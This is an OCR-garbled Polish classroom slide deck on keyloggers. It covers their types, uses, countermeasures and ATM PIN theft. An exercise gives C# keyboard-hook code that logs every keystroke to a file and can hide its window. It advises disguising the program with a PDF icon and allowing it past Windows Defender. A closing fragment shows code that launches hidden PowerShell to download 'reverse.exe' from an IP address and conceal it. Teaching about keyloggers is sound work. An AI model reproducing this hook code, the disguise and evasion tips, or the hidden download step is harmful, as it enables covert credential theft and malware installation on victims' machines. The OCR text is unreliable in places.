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Keylogger

Just click and hack it

Opracowanie: Michat Suchon
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Przypomnienie

Jakim poleceniem mozemy zmieni¢ prawa dostepu do pliku/katalogu w Linuxie?

2. Katalog posiada uprawnienia w kodzie: 706 — jakie prawa dostepu ma witasciciel katalogu, grupa i
pozostali?

3. Czym jestr, w oraz x podczas sprawdzania uprawnien w katalogu przez polecenie Is =I?
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Przypomnienie

1. Jakim poleceniem mozemy zmieni¢ prawa dostepu do pliku/katalogu w Linuxie?
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Przypomnienie

1. Jakim poleceniem mozemy zmieni¢ prawa dostepu do pliku/katalogu w Linuxie?

chmod {cyfrowy zapis uprawnien} {nazwa pliku bgdz katalogu} -> np.: chmod 775 test.txt

2. Katalog posiada uprawnienia w kodzie: 706 — jakie prawa dostepu ma wiasciciel katalogu, grupa i
pozostali?

witasciciel (user) : petne uprawnienia (rwx)
grupa (group): brak uprawnien (---)
pozostali (other): odczyt + zapis (rw-)

3. Czym jestr, w oraz x podczas sprawdzania uprawnien w katalogu przez polecenie Is =I?
R - read; odczyt

W- write; zapis
X - execute; wykonanie (uruchomienie)



Czym jest Reylogger?



Keylogger



JaRie sg rodzaje
Reyloggerow?



KEYLOGGERY

Rejestrujg nacisniecia klawiszy przy uzyciu obwodu
sprzetowego, podigczonego miedzy klawiaturg komputera
a samym komputerem, zazwyczaj w 1linii ze ziaczem
kabla klawiatury. Istniejg takze oparte o USB albo w
laptopach (Mini-PCI poditgczone do gniazda rozszerzen)

Keyloggery sprzetowe mogg byC takze bezprzewodowe -
to tzw. sniffery Rlawiatury 1 myszy. Zbierajg one
pakiety danych przesytane z bezprzewodowej klawiatury
i jej odbiornika. W przypadku gdy takie potgczenie
bezprzewodowe jest szyfrowane: stosuje sie uprzednie
tamanie zabezpieczen w komunikacji dwéch urzadzen
(klawiatury a komputera) miedzy sobg

Oparte sg o jadro systemowe: program keyloggera
uzyskuje uprawnienia administratora, aby ukryc
sie w systemie operacyjnym i przechwytywac
nacisniecia klawiszy (co przechodzi przez
jadro).

Taki rodzaj keyloggera jest dosSc¢ trudny zardwno
do zaimplementowania oraz zwalczania (przez
dziatanie na poziomie jadra jest trudniejszy do
wykrycia niz w klasycznym poziomie aplikacji w
trybie uzytkownika).

Keyloggery  programowe rejestruja zdarzenia
zwigzane z nacisnieciem klawiszy przez co s3
traktowane jak zwykie elementy aplikacji anizeli
ztosliwe oprogramowanie.



W j7aRim celu stosujemy
Reyloggery?



Cel keyloggerow

POZYTYWNY:
Badanie dynamiki nacisnigec¢ klawiszy lub interakcji miedzy cztowiekiem a komputerem.

Jako szkodliwe oprogramowanie stuzgce do zbierania haset i innych poufnych danych

POSREDNIO (ani pozytywne, ani negatywne - trudno stwierdzi¢):
Celowo zainstalowane przez pracodawce by kontrolowa¢ aktywnosci pracownikow



W jaR1 sposob mozna w
dobry (etyczny) sposob
zastosowac Reyloggery?



W jaR1 sposob mozna w dobry
(etyczny) sposob zastosowac
Reyloggery?



JakR przeciwdziatac
Reyloggerom?



Sposoby przeciwdziatanila
keyloggerom



Sposoby przeciwdziazania
keyloggerom
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Sposoby przeciwdziazania
keyloggerom

klawiatury ekranowe

autoryzacja dwustopniowa (2FA: Two-Factor Authentication) - token fizyczny lub kod sms
korzystanie z rozpoznawania pisma odrecznego i gestow myszy

wprowadzanie haset przez rozpoznawanie mowy

oprogramowanie do zakiécania nacisniec¢ klawiszy

aplikacja do automatycznego uzupetniania haset (Keepas, Bitwarden)

monitoring sieci, dobra konfiguracja firewalla

programy antywirusowe



Keylogger vs Antywirus

Anty-keylogger
oprogramowanie stworzone do wykrywania keyloggerow w komputerze, dziatajgce
poprzez porownywanie wszystkich plikbw w komputerze ze znanymi keyloggerami i
szukanie podobienstw, ktére mogtyby wskazywac na ukryte dziatanie keyloggera. Anty-
keylogger jest szczegblnym typem antywirusa, zaprojektowanego po typowo
wyszukiwanie keyloggerdw, gdyz zwykte antywirusy nie traktujq ich jako potencjalne
zagrozenie w systemie



CWICZENIE 1 | Keylogger

Stworzmy witasny keylogger!

W tym celu zostat przygotowany szablon, ktéry mozna wgra¢ do Visual Studio,
uzywajgc opciji: Clone a repository, a nastepnie wklejajgc ponizszy link w polu
Repository location:
https://qithub.com/michciaa/l44 keylogger GP.git

Szablon posiada zestaw gotowych bibliotek DLL czy funkcji, ktdre nalezy uzupetnic.
Poszczegdblne luki oznaczone jako // INSTRUKCJA {numer} nalezy wypetni¢
poszczegdblnymi elementami, zapisanymi na kolejnych slajdach.

UWAGA! Windows Defender moze wykrywac projekt jako keylogger i wymuszaé
jego blokade. Aby uruchomi¢, nalezy wiec pozwoli¢ ha uruchomienie w
ustawieniach zapory Windows


https://github.com/michciaa/l44_keylogger_GP.git
https://github.com/michciaa/l44_keylogger_GP.git

// INSTRUKCJA 1

tworzymy metode, ktéra ma za zadanie ustawi¢ wyzwalacz po nacisnigciu przycisku
przez uzytkownika

private static IntPtr SetHook(LowLevelKeyboardProc proc)
{
// PONIZEJ TO, CO UZUPEtNIAMY ZAMIAST "INSTRUKCJA 1"
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule)
{
return SetWindowsHookEx(WH_KEYBOARD LL, proc,
GetModuleHandle(curModule.ModuleName), 0);



// INSTRUKCJA 2

implementujemy metode wywotujgcqg sie w momencie nacisnigcia klawisza. Pobiera
wartosé nacisnietego klawisza (rozpoznaje jego rodzaj), a nastepnie zapisuje do pliku
log.txt

private static IntPtr HookCallback(
int nCode, IntPtr wParam, IntPtr 1lParam)
{
// PONIZEJ TO, CO UZUPEtENIAMY ZAMIAST "INSTRUKCJA 2"
if(nCode >= 0 && wParam == (IntPtr) WM_KEYDOWN)
{
int vkCode = Mar‘shal.ReadInt32(lPar‘am); // tutaj pobieramy wartos$¢ nacisnietego klawisza
Console .wr‘itELine( (KeyS)VkCOdE); // wyséwietlamy nacisniety klawisz w konsoli (rzutowanie na typ Keys)

StreamWriter sw = new StreamWriter(Application.StartupPath + @"\logs.txt", true);

wybieramy lokalizacje, do jakiego pliku chcemy zapisac¢ logi (obiekt klasy StreamWriter)

sw.Wr‘ite((Keys)kaode); // zapisanie klawisza do loga
sw.Close();
¥

return CallNextHookEx(_hookID, nCode, wParam, lParam);
// wywolanie kolejnego wyzwalacza do pobrania kolejnej wartosci klawisza



// INSTRUKCJA 3

wywotujemy poprzednie metody w Main’'ie

static void Main(string[] args)

{
// PONIZEJ TO, CO UZUPEtNIAMY ZAMIAST "INSTRUKCJA 3"

var handle = GetConsoleWindow();

ShowWindow(handle, 1);
// metoda powodujgca, ze okno aplikacji sie nie pojawi (O - ukryte, 1 - widoczne)

_hookID = SetHook( proc); // wywotanie metody SetHook (wyzwalacza)
Application.Run();
UnhookWindowsHookEx(_hookID); // usuniecie wyzwalacza



[ V4

Na koniec, dla niepoznaki mozemy zmienic
ikonke aplikacji, np. na PDF’a
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W jakli sposob mogg byc
zdobywane informacje (na
zasadzie keyloggera)?



Kradziez PIN’u w bankomacie - carding
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https://www.youtube.com/watch?v=F6Q5zy3BSVo



https://www.youtube.com/watch?v=F6Q5zy3BSVo
https://www.youtube.com/watch?v=F6Q5zy3BSVo

Kradziez PIN’u w bankomacie

WHAT HACKERS CAN SEE

NEW WAY OF STEALING ATM PINS
Criminals using heat your fingers leave behind

| Crews reach far corners of Vermont cut off by lrene

https://www.youtube.com/watch?v=Z wsW7Ikrts



https://www.youtube.com/watch?v=Z_wsW7Ikrts
https://www.youtube.com/watch?v=Z_wsW7Ikrts

Kradziez kodow dostepdow do systemow dostepowych w
biurach czy miejscach uzytecznosSci publicznej
(podobnie: naktadki na czytniki w terminalach

ptatniczych)




Metoda przestarzata, ale niestety nadal skuteczna:
Proszek na klawiszach w celu sprawdzenia, ktore klawisze
byty naciskane (lub: sprawdzenie stopnia wytarcia klawiszy
- dlatego obecnie uzywa sie materiaiow zapobiegajgcych
wytarciu)
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Podsumowanie

1. Czym jest keylogger?
2. Jakie sq rodzaje keyloggerow?
3. Czy uzycie keyloggera wiqze sige zawsze z jakimi$ przestepczymi dziataniami?



Polecam!

REMOTE

PYTHON KEYLOGG.EB!

ZRODLO:
https://www.youtube.com/watch?v=LBM3EzBXhdY



https://www.youtube.com/watch?v=LBM3EzBXhdY
https://www.youtube.com/watch?v=LBM3EzBXhdY

Polecam!
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https://youtube.com/shorts/-JwVSzV9X9I?si=cJErepVOht9ukxv



https://youtube.com/shorts/-JwVSzV9X9I?si=cJErepVOht9ukxvI
https://youtube.com/shorts/-JwVSzV9X9I?si=cJErepVOht9ukxvI
https://youtube.com/shorts/-JwVSzV9X9I?si=cJErepVOht9ukxvI
https://youtube.com/shorts/-JwVSzV9X9I?si=cJErepVOht9ukxvI
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len « MultiByteToWidelhar(CP _ACP, @, 1pCadline, -1, argumentN, 1824);

{/ Handle the user’s response
if (respanse IDOK) {
MessageBox(MULL, L*Malwage Executed!™, L"Response™, MB OK

1f {(response IDCANCEN) |
pssageBax(NULL, L Will n it anyway (*_")", L"Response”,

shellExecute(MULL, TEXT(*open®), TEXT("notepad.exe*), a

{/ Download reverse,exe

const char* powershell
“powarshwll «NoF <Nonl Hidden -Exec Bypass -Command
"\ "(New-Object Net.WebC@ent).DownloadFile( "http://192
“Set-ItenProperty -Path f reverse,.éxe’' ~Name Attributes

{/ Start the PowerShell process
STARTUPINFOA s - ( @ };
PROCESS _INFORMATION pi

F(si);


https://www.youtube.com/watch?v=RpL4fwdQZNE
https://www.youtube.com/watch?v=RpL4fwdQZNE
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